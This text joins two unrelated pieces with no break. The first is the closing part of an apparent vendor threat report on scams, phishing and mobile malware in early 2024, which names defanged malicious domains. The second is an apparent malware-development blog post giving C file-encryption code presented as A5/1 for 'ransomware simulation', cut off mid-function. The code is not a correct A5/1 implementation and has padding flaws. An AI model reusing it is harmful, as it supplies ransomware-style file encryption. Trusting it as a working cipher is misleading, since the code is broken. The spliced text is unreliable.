Germany and Austria also show significant exposure to dating scams, with risk ratio rates of 4.27% and 4.10% and lastly, Czechia, with a risk ratio of 3.94%, rounds out the list.

Tech Support Scams (TSS): Steady Increase of Attacks 

Tech support scam threats involve fraudsters posing as legitimate technical support representatives who attempt to gain remote access to victims’ devices or obtain sensitive personal information, such as credit card or banking details. These scams rely on confidence tricks to gain victims’ trust and often involve convincing them to pay for unnecessary services or purchase expensive gift cards. It’s important for internet users to be vigilant and to verify the credentials of anyone claiming to offer technical support services.

Throughout 2023, we observed a continual drop in activity related to tech support scams. In the first quarter of this year, we can say that this trend not only ended but quite the contrary – we observed an increase in tech scam activity over the quarter.

As seen on the chart above, the activity of this threat has reached the level of the beginning of Q4/2023.

Looking at the data of the full quarter, a clear increase trend is visible.

Switzerland experienced the most dramatic surge, with a 177% increase in TSS activity—the highest observed this quarter. Austria also saw a significant rise, with a 101% increase. Germany’s increase, though lower, was still notable at 65%. Additionally, Japan, traditionally a hotspot for TSS, reported a significant increase of 153%.

These escalating figures, especially notable in Europe’s wealthier nations, highlight a growing trend in cybersecurity threats in these regions.

Refund and Invoice Scams: iCloud Data Deletion Scam

Invoice scams involve fraudsters sending false bills or invoices for goods or services that were never ordered or received. Scammers rely on invoices looking legitimate, often using company logos or other branding to trick unsuspecting victims into making payments. These scams can be especially effective when targeted at businesses, as employees may assume that a colleague made the purchase or simply overlook the details of the invoice. It’s important to carefully review all invoices and bills before making any payments and to verify the legitimacy of the sender if there are any suspicions of fraud.

One of the refund and invoice scams that caught our attention in Q1/2024 targeted a top-tier service, serving as a gateway to other less valuable ones, in our assessment. The targeted account was iCloud, accompanied by a TinyURL link to a payment gateway that extracts user information, including sensitive details. iCloud is undoubtedly one of the most vital accounts to protect by enabling multi-factor authentication in order to prevent malicious actors from stealing sensitive information. According to 9to5 Google, enabling multi-factor authentication for Google users led to a 50% decrease in compromised accounts.

We will delve into the campaign itself which begins with a malicious email, which may evoke early 90’s nostalgia because the attackers’ Comic Sans font choice. The aim of the email is to visually intimidate, highlighting the issue at hand: your beloved photos will be deleted unless you proceed to the fake payment gateway. As always, the loading bar creates a sense of urgency, while a missed payment statement compounds the pressure. A big red button labeled “FULL” completes the sense of urgency, signaling that immediate action is required.

The email seemingly contains additional product and technical information to make it look authentic, all of which is fabricated. These include product IDs, expiration dates, and buttons for more storage. The only legitimate piece of the email is the unauthorized use of the actual iCloud logo. The subject of the email is also intriguing: we’re seeing that more cybercriminals aim to catch your attention with email subject lines using emoticons, as you see in the email sample below.

In terms of global prevalence, we can see that the English-speaking world is the most affected, along with the European Union. The countries that experienced the biggest spike in the last quarter are Belgium, up by 29%, the United Kingdom, up by 13%, and Luxembourg, up by 10%. On the other side of the spectrum, we have Australia, which experienced the largest drop, down by 29%, the United States, down by 15%, and Canada, down by 5%.

The graph showing risk ratio over time exhibits less volatility compared to the previous period. In Q1/2024, the risk did not significantly change over time and rose slightly by the end of the quarter. We can observe that the threat is still widely spread around the globe, and we anticipate seeing even more of these attacks in the future.

Phishing: Reaching New Hights

Phishing is a type of online scam where fraudsters attempt to obtain sensitive information including passwords or credit card details by posing as a trustworthy entity in an electronic communication, such as an email, text message, or instant message. The fraudulent message usually contains a link to a fake website that looks like the real one, where the victim is asked to enter their sensitive information.

And now we come to the final, and most classic,  category under web threats: Phishing. Like nearly all web threats, this category saw an increase in activity in Q1/2024, continuing the increase trend that we’ve witnessed over the last four quarter. 

We’ve also observed that attackers are continuing to make heavy use of file sharing via InterPlanetary File System (IPFS) infrastructure – to spread their phishing content.

Our statistics show that the most frequently targeted brand on IPFS is Microsoft, which currently accounts for up to 20% of blocked attacks. At the same time, we see that these threats were most visible at the end of Q1/2024.

One of the most interesting phishing campaigns for this quarter was the wave of Russian-language phishing PDFs targeting bank users. 

Based on the content of the PDF, this campaign was developed to target the customers of Tinkoff Bank, and from the data we can see that the most hits are registered in Latvia.

This campaign generated hundreds of PDF samples, with different names, while the appearance mostly stayed the same. All extracted URLs pointed to the same domain.

The main domain to which the URL is redirected is xsph[.]ru. This domain acts as a hub for many other types of malware. 

A command-and-control server, such as one hosted at “the-packaging-experts[.]co.uk” could be accessed by malicious programs by abusing this event. This then redirects to “http://a0942143[.]xsph[.]ru/tin/cabinet/capcha/” and checks CAPTCHA to verify that the user is human, then potentially receives instructions or downloading additional payloads. Threat actors frequently employ this strategy to avoid being discovered by security solutions, using a genuine website as a front for criminal activity.

Alexej Savčin, Malware Analyst
Martin Chlumecký, Malware Analyst
Matěj Krčma, Malware Analyst
Prabhakaran Ravichandhiran, Malware Analyst

Mobile-Related Threats

The first quarter of 2024 brings with it several interesting developments within the mobile threat landscape. Adware has once again snuck into the PlayStore, this time in the form of a Minecraft clone game app. Meanwhile, MoqHao, a revived strain of banker, obtained the ability to auto-start on victims’ devices once installed, displaying phishing messages on the target device. We also saw GoldPickaxe target both Android and iOS users in Vietnam and Thailand, attempting to steal facial recognition biometrics that are then used in fraudulent payments.

State sponsored spyware was also brought back into focus with governments investigating the scope of its use on citizens, while Apple highlighted its threat notifications sent to victims of these sophisticated spywares. 

Fake romance lures were also found, this time by VajraSpy, to entice victims into installing a spyware in India and Pakistan with the intent of extracting data and spying on their devices.

Finally, SpyLoans continue to spread on and off the PlayStore, enticing users with promises of quick cash but instead targeting them and their contacts with harassment and blackmail.

Web Threat Data within the Mobile Landscape

Over the last few quarters, we’ve started to include web threat data in our mobile threat telemetry.  Scams are again at the top of the threat list in the mobile sphere, with a 61% increase in risk ratio compared to last quarter. This is followed by phishing and malvertising, both seeing a 19% increase in risk ratio. The increased prevalence of web threats has significantly reduced the risk ratio of traditional on-device malware such as adware, droppers and others.

Most blocked attacks on mobile devices in Q1/2024 were web-based, mirroring the previous quarter. Users are much more likely to encounter phishing websites, scams, malvertising and other web threats than ever before. These threats can come in a variety of formats such as private messages, SMS, and emails but also redirects on less reputable sites, unwanted pop ups and through other avenues.

In contrast to these types of mobile scams, traditional on-device malware requires a more complex infection vector where the user must also install the malware. For proper functionality of most mobile malware, permissions need to be granted by the user first, which again lowers the chances of malicious activity being triggered.

Hence, blocking web-threat based attacks is beneficial for the security of mobile devices, as malware actors often use them as an entry point to get the payload onto the mobile device of their victims.

Adware Sneaks into the PlayStore Again

Adware threats on mobile phones refer to applications that display intrusive out-of-context adverts to users with the intent of gathering fraudulent advertising revenue. This malicious functionality is often delayed until sometime after installation and coupled with stealthy features such as hiding the adware app icon to prevent removal. Adware mimics popular apps such as games, camera filters, and wallpaper apps, to name a few.

Adware stays on top this quarter as the most prevalent on-device malware threat facing mobile users. Continuing to bring in fraudulent advertising revenue at the expense of the user experience of its victims, it again makes its way into the PlayStore to increase its global spread. We also observe third party stores distributing older adware families that are no longer present on the PlayStore.

HiddenAds are the most common type of adware this quarter, often hiding their icons once installed on victims’ devices or performing hidden actions in the background with the intent of gathering fraudulent ad views, unbeknownst to the victim. FakeAdBlockers and Mobidash are close behind, often masking as re-packed games that bring with them full screen out of context ads or spam notifications that bother their victims. These continue to spread through third party apps stores and malvertising on less reputable sites that redirect users to download these types of adware.

Of note this quarter is the resurgence of a previously discovered adware discussed in the Q2/2023 report, again appearing in the PlayStore with altered versions of the original adware. These Minecraft clone apps draw in millions of downloads due to the popularity of the original game, then proceed to exploit advertising SDKs to display adverts in the background, raking in ad revenue. This fraudulent activity impacts the advertising ecosystem on mobile devices and contributes to data and battery drainage on the victim’s device.

We see a significant decrease in risk ratio this quarter in mobile adware. SocialBar has mostly subsided in comparison to last quarter, accounting for the lower numbers. Alongside this, HiddenAds, FakeAdBlockers, and Mobidash have all experienced a drop in risk ratio this quarter.

Brazil, India and Argentina have the most protected users this quarter, as was the case last quarter. Egypt, Philippines and Oman have the highest risk ratios, meaning users are most likely to encounter adware in these countries, according to our telemetry.

New Auto-Starting Bankers Threaten Mobile Users

Bankers are a sophisticated type of mobile malware that targets banking details, cryptocurrency wallets, and instant payments with the intent of extracting money. Generally distributed through phishing messages or fake websites, Bankers can take over a victim’s device by abusing the accessibility service. Once installed and enabled, they often monitor 2FA SMS messages and may display fake bank overlays to steal login information.

Mobile bankers expanded their feature set in Q1/2024 with an unexpected evolution: the ability to auto-start after installation without the need for user input, as exemplified by MoqHao banker. Elsewhere, bankers are digging for gold with the new GoldPickaxe strain that targets both Android and iOS users, attempting to steal facial recognition data for further fraudulent use while emptying bank accounts. Finally, the GreenBean banker was used to redirect crypto payments by changing wallet addresses in victim’s messages. In our telemetry, we see Cerberus/Alien and BankBot with the most protected users, while RewardSteal banker makes a big splash coming in third, mainly targeting India.

We see another comeback with upgrades, as the MoqHao banker introduces the ability to auto execute after installation through using Android’s inbuilt Contact Provider service. By having this as the first activity in the app manifest with special metadata, it is executed as soon as the app is installed, enabling it to trigger malicious services before it is run for the first time by the user. Once installed and running, MoqHao starts to display phishing messages attempting to trick the user into providing their banking details. It also harvests contact details and SMS messages and sends these away to a C&C server. Interestingly, while the banker has preset country specific phishing messages, it can also dynamically load messages from Pinterest profile descriptions specifically setup for this purpose, a very odd way of delivering tailored messages to its victims. The banker has been distributed through fake phishing SMS messages, often pretending to be a delivery service and mostly targeting users in Japan, South Korea, Germany, France, and India.

GoldPickaxe, a banker targeting both Android and iOS, has emerged and is targeting victims in Thailand and Vietnam. Likely from the same threat actors behind GoldDigger, a previously discussed banker, this new strain focuses on extracting personal information and can even harvest facial recognition data for fraudulent access to victim’s bank accounts. This is likely in response to both the Bank of Thailand and the State Bank of Vietnam issuing statements advising or mandating the use of facial biometric verification for payments in the coming months. 

On iOS, the threat actors initially used TestFlight, a beta testing tool within the iOS ecosystem, to distribute the iOS malware. Once Apple took down the offending banker apps, they switched to using Mobile Device Management (MDM) profiles, sending download links to victims. If the victim downloaded and installed the MDM profile, the banker would gain complete control over the device. After the complex infection process is complete, GoldPickaxe can extract photos, SMS messages and even request to capture the victim’s ID card and face. These are then used to initiate fraudulent bank payments, with reports of victims losing significant sums of money after being asked to do facial recognition scans by GoldPickaxe.

A new banker called GreenBean has been spotted spreading through a fake cryptocurrency website. Targeting users in China and Vietnam, the banker focuses on cryptocurrency wallets and payment platforms as well as traditional banking platforms. It uses the Accessibility service to gather sensitive information, login details, photos and saved wallet passwords, then sends these away to its C&C. GreenBean is also able to dynamically detect and change crypto wallet addresses it detects within messaging applications such as WeChat, redirecting a payment to its own wallet address, stealing money from victims. Additionally, the banker can stream video from the infected device, keeping an eye on its victims and potentially gaining access to sensitive information.

Breaking the trend of decline from previous quarters, bankers mostly maintain their prevalence this quarter. It is likely that the introduction of various new strains this quarter has contributed to their steadying numbers. We also observed the return of SMS and messaging applications as infection vectors, used by strains such as FluBot in the past.

Turkey has the highest risk ratio for bankers in Q1/2024. We also witnessed a notable rise in risk ratio in India, where the RewardSteal banker is gaining ground. It appears the focus this quarter has shifted towards Asia, with countries such South Korea, Japan, Thailand and Vietnam being the targets of several new strains of bankers.

State Sponsored Spyware Continues to Be a Sophisticated Threat 

Spyware is used to spy on unsuspecting victims with the intent of extracting personal information such as messages, photos, location, or login details. It uses fake adverts, phishing messages, and modifications of popular applications to spread and harvest user information. State backed commercial spyware is becoming more prevalent and is used to target individuals with 0-day exploits.

Mirroring last quarter, Spymax is the most prevalent strain of spyware this quarter, followed by RealRAT, SexInfoSteal, and malicious WAMods. We also saw a few new spyware entries this quarter alongside the return of updated existing strains. Of note are official Apple threat notifications sent to affected users with iOS devices, alerting them when they have been targeted by state sponsored sophisticated spyware attacks. We see VajraSpy spreading in the PlayStore, targeting victims in Pakistan with the ability to steal sensitive data. DogeRAT, a repurposed RainbowRAT clone, makes another entrance on Github with updated and paid features. Finally, SpyLoans continue their blackmailing streak on and off the PlayStore, threatening users worldwide.

News of state sponsored spyware has been doing the rounds for at least a decade now, with examples such as the infamous NSO Group Pegasus dating back to 2016, discussed in the Q3/2021 report. Since 2021, Apple has started issuing threat notifications to potential victims, alerting them if they have been targeted by what Apple believes to be state sponsored or mercenary spyware. These attacks are often highly sophisticated, sometimes using multiple zero-day exploits to break into iOS devices without user interaction, with the intent of spying on their victims and extracting personal information such as SMS messages, contacts and photos. There has been more focus on the use of such spyware by governments, with Poland recently launching a probe into the use of Pegasus by the government, which allegedly targeted close to 600 individuals in Poland. Due to the high cost of such attacks, the attackers are targeting only individuals of interest, NGOs, etc. Users should take extra precautions, such as enabling Lockdown mode on iOS devices and keeping their device up to date with latest security updates.

VajraSpy, an upgraded spyware seen in previous years, has made it onto the PlayStore, targeting users in India and Pakistan. Masquerading as messaging and dating apps, victims were likely approached under the guise of a romantic encounter, where threat actors encouraged victims to download the spyware apps to continue their interaction. It appears there were three distinct versions of the malware, two of which were messaging applications with the ability to extract SMS messages, WhatsApp conversations and photos, the more advanced version even able to record audio and video, log keystrokes, and listen in on phone calls. The third version disguised itself as a news app and didn’t request any dangerous permissions. Despite this, it was able to steal contacts and various documents and files from external storage.

Github is again being used for distribution of potential malware in this case DogeRAT. This update appears to be a repurposed version of RainbowRAT, and even features a paid version that promises to be undetectable by antivirus in addition to having the ability to extract all photos on a device, screenshot the victim’s screen and provide a keylogger to track inputs. While dangerous, open repositories such as this one offer an interesting insight into the operation of various threat actors. Normally, threat groups try to hide their activity to evade detection and remain under the radar for as long as possible to avoid takedowns and antivirus detection.

SpyLoans continue to reign on the PlayStore, targeting victims in need of quick cash with promises of easy payments, low interest rates and hassle-free setup. Numerous apps have been taken down from the PlayStore, as discussed in previous quarters, but new ones keep popping up. The actors behind these apps have also taken to using third party app stores or even direct messaging to entice victims into downloading their malware. Once installed, the SpyLoans generally harvest contacts, photos and SMS messages under the guise of a credit check. This data is then used to harass and blackmail victims, in some cases even threating violence. Users are advised to stick to official banks when in need of a loan, to avoid SpyLoan apps. 

The risk ratio for mobile spyware has remained steady compared to Q4/2023, with a very slight decrease in prevalence of spyware in our telemetry. The continued spread of SpyLoans may have contributed to this.

Yemen has the highest risk ratio this quarter, followed by Turkey, Egypt and Pakistan. We saw VajraSpy mainly focus on Pakistan this quarter, where we do see an increase in risk ratio. Brazil and the US have the highest number of protected users.

Jakub Vávra, Malware Analyst

The post Avast Q1/2024 Threat Report appeared first on Avast Threat Labs.

﷽

Hello, cybersecurity enthusiasts and white hackers!

In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.

At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.

practical example

First of all, our encryption and decryption functions are the same:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

The next piece of code implemented file encryption and decryption logic via previous functions:

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
